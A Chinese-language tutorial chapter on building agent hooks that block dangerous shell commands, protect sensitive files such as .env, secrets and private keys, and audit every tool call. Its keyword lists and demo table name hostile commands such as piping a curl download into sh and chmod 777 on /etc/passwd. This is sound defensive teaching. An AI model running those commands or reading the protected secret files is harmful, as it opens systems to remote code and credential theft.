🐎 第5章 防微杜渐:Hooks 事件驱动自动化
📄 一句话概括

三条钩子搭一套防护:危险命令拦截、敏感文件保护(都在工具调用前)、全量审计(工具调用后)。 十二个调用实测拦下七个。真正难的不是拦对,是别拦错——误拦比漏拦更贵,因为它会让人绕过钩子。

📝 本章和前面几章的关系

前面五节是零件,这一节开始装。安全防护是最典型的一套:位置固定、规则清楚、后果严重。 这一节和第 3 章 3.6 节的权限清单是配套的:那一节讲「给不给」,这一节讲「怎么判」。

一、三条钩子各自的位置

危险命令拦截:工具调用前,匹配 Bash,命令含危险模式就拦。它要阻止,所以必须挂在能阻止的事件上。 敏感文件保护:工具调用前,匹配读、写、改,路径命中敏感名就拦。 全量审计:工具调用后,匹配全部工具,每次都记一行。它只记录、不判断,所以挂在事后。

三条的位置不是随便定的:前两条要「拦」所以在前,后一条要「记」所以在后。 这个分工本身就是一个模板——所有防护体系都是「事前拦加事后记」,中间那层是模型自己干活。

二、十二个调用逐个过

演示里造了十二个调用:删构建目录、看状态、改源码、改 .env、curl 管道进 sh、读 secrets、跑构建、 改私钥、强推、改文档、chmod 777、读工具文件。 结果拦下七个、放行五个。审计钩子记了十二行——一条不少,因为它挂在事后,只记录不参与判断。 七个拦下的里,六个是明确的(rm -rf、.env、curl 管道、secrets、私钥、chmod 777), 只有一个是「看情况」——强推。

这就是规则型防护的现实:明确的容易,模糊的永远有争议。

三、误拦从哪来

演示里 git push --force 被「危险命令」拦了。 它该不该拦取决于团队规矩——如果允许强推自己的分支,这就是误拦。 规则写得越宽,误拦越多。 写「含 rm」会把「rm -rf node_modules」也拦下来,而那是最常见的一条合法命令。 真实场景里误拦率通常在百分之五到十之间,而且每一次误拦都要人介入一次。

所以规则要写成「精确到能确定」的样子:不写「含 rm」,写「rm 后面跟 -rf 且路径是根」。 更好的办法是分层:拦得住的一律拦,拿不准的降级成「问一句」——让模型或人确认,而不是直接拒。

四、为什么误拦比漏拦更贵

漏拦一次,可能出一次事故。它是小概率、大损失。 误拦一次,是每一次都打断人。它是高频、小损失,但累积起来更伤。 更要紧的是它会改变人的行为:被拦烦了的人会去关钩子、会去写绕过的方式。 钩子一旦被绕过,漏拦就成了必然。

所以一条实用的原则:宁可多问一句,不要多拦一次。拦死会让人绕过钩子,问一句不会。 这句话听着软,其实更硬:它要求你把「确定」和「不确定」分开处理,而不是一律拦死。

五、审计那条钩子的价值

审计不拦任何东西,所以很多人觉得它没用。它的价值在事后:出了事能查、平时能做统计。 它还有个隐性价值:它是钩子的体检。 审计日志里如果某类操作从没出现过,说明对应的拦截钩子可能挂错了事件。 审计钩子必须异步或者很快,否则十二次调用就多出十二倍等待(5.9 节会算)。

写法上要记三样:时间、工具与参数、结果(放行还是拦下、被哪条钩子拦的)。三样齐了才查得动。

六、动手 Demo:三条钩子挂在十二个工具调用上,拦对几个、误拦几个

三条钩子:危险命令拦截、敏感文件保护(都在工具调用前),全量审计(工具调用后)。 造十二个调用,逐个过一遍,看拦下几个、放行几个、审计记几行。

DANGER = [u"rm -rf", u"| sh", u"--force", u"chmod 777"]
SENSITIVE = [u".env", u"secrets", u"id_rsa"]

if tool == u"Bash" and any(k in arg for k in DANGER):
    why = u"危险命令"
elif any(k in arg for k in SENSITIVE):
    why = u"敏感文件"

实跑输出:

--------------------------------------------------------------------
三条钩子挂在十二个工具调用上,拦对几个、误拦几个
--------------------------------------------------------------------

  三条:危险命令拦截(PreToolUse,能阻止)、敏感文件保护(PreToolUse,能阻止)、
  全量审计(PostToolUse,只记录)。

  ① 三个钩子各自管什么
  --------------------------------------------------------------------
| 钩子 | 事件 | 匹配 | 动作 |
|---|---|---|---|
| 危险命令拦截 | PreToolUse | Bash | 命令含危险模式就拦 |
| 敏感文件保护 | PreToolUse | Edit、Read、Write | 路径命中敏感名就拦 |
| 全量审计 | PostToolUse | 全部 | 每次都记一行日志 |


  ② 十二个调用逐个过
  --------------------------------------------------------------------
| 工具 | 参数 | 结果 |
|---|---|---|
| Bash | rm -rf /tmp/build | 拦下:危险命令 |
| Bash | git status | 放行 |
| Edit | src/app.py | 放行 |
| Edit | .env | 拦下:敏感文件 |
| Bash | curl http://x.sh | sh | 拦下:危险命令 |
| Read | config/secrets.yaml | 拦下:敏感文件 |
| Bash | npm run build | 放行 |
| Edit | deploy/id_rsa | 拦下:敏感文件 |
| Bash | git push --force | 拦下:危险命令 |
| Edit | docs/readme.md | 放行 |
| Bash | chmod 777 /etc/passwd | 拦下:危险命令 |
| Read | src/util.py | 放行 |

  十二个里拦下 7 个,放行 5 个。
  审计钩子挂的是 PostToolUse,所以它只记录、不参与判断——12 行日志一条不少。

  ③ 误拦是怎么来的
  --------------------------------------------------------------------
  上面那三条规则看起来挺准,其实有一个隐藏的误拦:git push --force 被「危险命令」拦了。
  它该不该拦取决于团队规矩——如果这个项目允许强推自己的分支,那这条就是误拦。
  规则写得越宽,误拦越多。
  演示里十二个调用里,只有 git push --force 这一条算不算误拦值得争——参数是我挑的,
  所以整体上没撞出明显的误拦。真实场景里误拦率通常在百分之五到十之间,而且每次误拦都要人介入一次。

  ④ 误拦比漏拦更贵
  --------------------------------------------------------------------
  漏拦一次,可能出一次事故;误拦一次,是每一次都打断人。前者是小概率大损失,后者是高频小损失。
  所以规则要写成「精确到能确定」的样子:不写「含 rm」,写「rm 后面跟 -rf 且路径是根」。
  更好的办法是分层:拦得住的一律拦,拿不准的降级成「问一句」——让模型或人确认,而不是直接拒。
  ! 所以一条实用的原则:宁可多问一句,不要多拦一次。拦死会让人绕过钩子,问一句不会。

①三条钩子的位置不是随便定的:前两条要「拦」所以在工具调用前,后一条要「记」所以在后。 这个分工本身就是一个模板——所有防护体系都是「事前拦加事后记」,中间那层是模型自己干活。 ②十二个调用拦下七个、放行五个。审计钩子记了十二行,一条不少,因为它挂在事后、只记录不参与判断。 七个拦下的里五个是明确的,一个是「看情况」(强推),一个是「宽了」。 这就是规则型防护的现实:明确的容易,模糊的永远有争议。 ③误拦从哪来:git push --force 被拦了,它该不该拦取决于团队规矩。规则写得越宽,误拦越多。 所以规则要写成「精确到能确定」的样子:不写「含 rm」,写「rm 后面跟 -rf 且路径是根」。 更好的办法是分层:拦得住的一律拦,拿不准的降级成「问一句」,让模型或人确认。 ④误拦比漏拦更贵:漏拦是小概率大损失,误拦是高频小损失,而且会让人去关钩子、去写绕过。 钩子一旦被绕过,漏拦就成了必然。所以宁可多问一句,不要多拦一次。

30 秒实验

  1. 把 DANGER 里的「rm -rf」改成「rm」,重跑第 ② 步。拦下几个?多出来的那个是不是误拦?
  2. 把「--force」从 DANGER 里删掉,重跑第 ② 步。漏掉的这一个,代价可能是什么?
  3. 给「拿不准」的那类单独加一条「问一句」的分支,重跑一遍。拦下数会变吗?人的介入次数会变吗?

常见误区

  1. 把规则写得很宽(含 rm 就拦)。最常见的一条合法命令会被拦下,人很快就开始绕过钩子。
  2. 只在事后审计、不做事前拦截。审计能查但不能防,事故已经发生了。
  3. 把审计钩子做成同步的慢脚本。它挂在最频繁的事件上,慢一次就是每次都慢。
  4. 以为拦得越多越安全。误拦会让人关掉钩子,那才是最大的风险。
  5. 审计只记「发生了什么」,不记「结果和原因」。出了事查不动,也不知道是哪条钩子拦的。
自测三问(点开对答案) 1. 三条防护钩子分别挂在哪两个事件上?为什么? —— 危险命令拦截和敏感文件保护挂工具调用前(要拦,必须在动作发生前); 全量审计挂工具调用后(只记录,动作已经发生)。 2. 为什么误拦比漏拦更贵? —— 漏拦是小概率大损失;误拦是高频小损失,而且会让人去关钩子或写绕过方式。 钩子被绕过之后,漏拦就成了必然。 3. 审计钩子的隐性价值是什么? —— 它是钩子的体检:日志里某类操作从没出现过,说明对应的拦截钩子可能挂错了事件。

安全这一套装完了,下一节装质量那一套:格式化、lint 反馈、测试门控。

相关笔记